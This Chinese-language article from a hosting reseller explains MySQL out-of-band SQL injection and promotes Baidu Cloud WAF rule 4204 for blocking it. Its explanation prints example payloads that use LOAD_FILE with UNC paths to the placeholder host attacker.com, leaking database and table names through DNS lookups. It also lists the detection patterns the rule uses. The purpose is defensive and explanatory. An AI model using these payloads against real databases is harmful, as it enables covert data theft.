看不见的数据窃取:MySQL带外通信SQL注入攻击深度解析,百度云防护规则4204精准拦截

当攻击者发现目标网站无法通过联合查询、报错注入、布尔盲注等方式获取数据时,他们还有一招“杀手锏”——利用数据库的带外通信(Out-of-Band)能力,将窃取的数据悄悄发送到自己的服务器。这种攻击极其隐蔽,传统WAF很难察觉。今天我们就来拆解MySQL带外通信SQL注入的原理,并介绍百度云防护如何用规则ID 4204将其一招封杀。


一、 什么是带外通信SQL注入?

1.1 从“看不见”到“绕出去”

普通SQL注入依赖页面回显或错误信息。但当网站关闭了错误提示、过滤了联合查询、甚至屏蔽了时间盲注时,攻击者往往无计可施。带外注入(OOB SQLi)就是为了解决这个问题而生的。

攻击者利用数据库提供的网络功能(如DNS解析、HTTP请求、SMB连接等),将查询结果“带出”数据库,发送到攻击者控制的服务器。攻击者只需监听自己的服务器日志,就能捕获窃取的数据。

1.2 MySQL中的带外通信手法

在MySQL中,常见的带外通信方式包括:

  • DNS解析:利用LOAD_FILE()INTO OUTFILE结合UNC路径,触发DNS查询
  • HTTP请求:利用SELECT ... INTO OUTFILE写入Web目录,但更常用的是结合sys_exec()lib_mysqludf_sys等UDF发起网络请求
  • SMB/UNC路径:Windows环境下,通过\\attacker.com\share触发NTLM哈希泄露

典型攻击载荷示例

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\test'));

如果当前数据库名为mydb,MySQL会尝试访问\\mydb.attacker.com\test。攻击者的DNS服务器收到mydb.attacker.com的解析请求,数据库名就被“带”出来了。

更复杂的攻击可以逐字符窃取整张表的数据:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(substr(table_name,1,1)) FROM information_schema.tables LIMIT 0,1),'.attacker.com\\test'));

攻击者通过改变偏移量,可以一步步拼出完整的表名、列名、数据。

1.3 为什么带外注入难以检测?

  • 请求看似正常:攻击语句中只有LOAD_FILE、UNC路径等合法函数,没有UNIONOR 1=1等明显特征。
  • 无页面回显:用户看到的页面完全正常,没有报错、没有延时。
  • 数据外传不走HTTP:数据通过DNS或SMB协议传输,传统Web应用防火墙(只检测HTTP流量)根本无法监控。

二、 漏洞危害:从数据泄露到服务器沦陷

危害类型具体后果
数据库数据窃取窃取用户密码、订单信息、个人隐私、商业机密
服务器权限提升结合UDF(用户自定义函数)写入恶意库,执行系统命令
内网横向渗透利用数据库服务器作为跳板,攻击内网其他系统
持久化后门在数据库中植入恶意存储过程或触发器

真实案例:某电商平台曾因MySQL带外注入漏洞,导致数百万用户手机号、地址、购买记录被窃取。攻击者通过DNS隧道逐条导出数据,持续数月未被发现。


三、 百度云防护如何拦截带外通信注入?

从百度云防护的内置规则库可以看到,专门有一条规则用于检测此类攻击:

规则名称规则ID风险等级防护类型规则描述
Injection.mysql_from_base6…4204中风险注入检测MySQL带外通信SQL注入攻击

这条规则的工作原理如下:

3.1 深度SQL语法解析,识别UNC路径

百度云防护WAF对SQL语句进行完整语法分析,能够识别出LOAD_FILE()函数中的UNC路径模式(\\\\...)。无论攻击者如何拼接、编码,引擎都能还原出完整的恶意结构。

3.2 检测敏感函数与危险组合

规则内置了MySQL中可用于带外通信的函数特征库:

  • LOAD_FILE() 结合 UNC 路径
  • INTO OUTFILE 写入网络路径
  • sys_eval()sys_exec() 等UDF函数发起的网络请求
  • 配合CONCAT()HEX()SUBSTR()等数据提取函数

一旦检测到这些特征组合,立即判定为攻击。

3.3 行为关联分析(企业版)

百度云防护企业版还支持行为关联分析。如果某个请求触发了LOAD_FILE()访问外部UNC路径,且目标域名非常规(如攻击者控制的域名),系统会联动WAF进行实时阻断。

3.4 低误报,高检出

正常业务几乎不会使用LOAD_FILE()读取远程UNC路径,也不会用INTO OUTFILE写入网络共享。规则经过海量真实流量训练,误报率极低。即使有极少数合法需求,也可以通过白名单灵活放行。


四、 如何启用规则4204?

如果你已经接入百度云防护,只需两步:

  1. 登录百度云防护控制台 → 防护配置Web防护内置规则
  2. 搜索规则ID 4204,确认状态为“开启”,动作为“拦截”

(建议先设为“观察”模式运行几天,确认无误后再改为“拦截”)


五、 主机吧小结:让带外攻击“带不出”数据

MySQL带外通信SQL注入是高级攻击者常用的“暗器”,它绕过了传统的报错和回显检测,利用数据库自身的网络功能窃取数据。但百度云防护的规则4204,通过深度SQL解析和敏感函数特征识别,让这种“暗器”无处遁形。

对于使用MySQL数据库的网站和应用,建议:

  • 开启WAF:百度云防护基础版及以上都包含此规则
  • 禁用危险函数:在MySQL配置中禁用LOAD_FILE()INTO OUTFILE等函数,或限制其使用路径
  • 最小权限原则:数据库账号只授予必要权限,避免使用root或高权限账号
  • 网络隔离:限制数据库服务器对外发起DNS、SMB等请求

如果你还不确定自己的系统是否存在SQL注入风险,或者想为网站加上一道可靠的防线,欢迎联系主机吧。我们提供免费安全评估和配置指导,帮你把带外攻击挡在门外。


主机吧 | 百度云防护官方合作伙伴
提供WAF接入、高防CDN、高防IP、高防服务器、SSL证书一站式服务
让每一次数据窃取都无处遁形,让每一份数据库都安如磐石。

给TA打赏
共{{data.count}}人
人已打赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧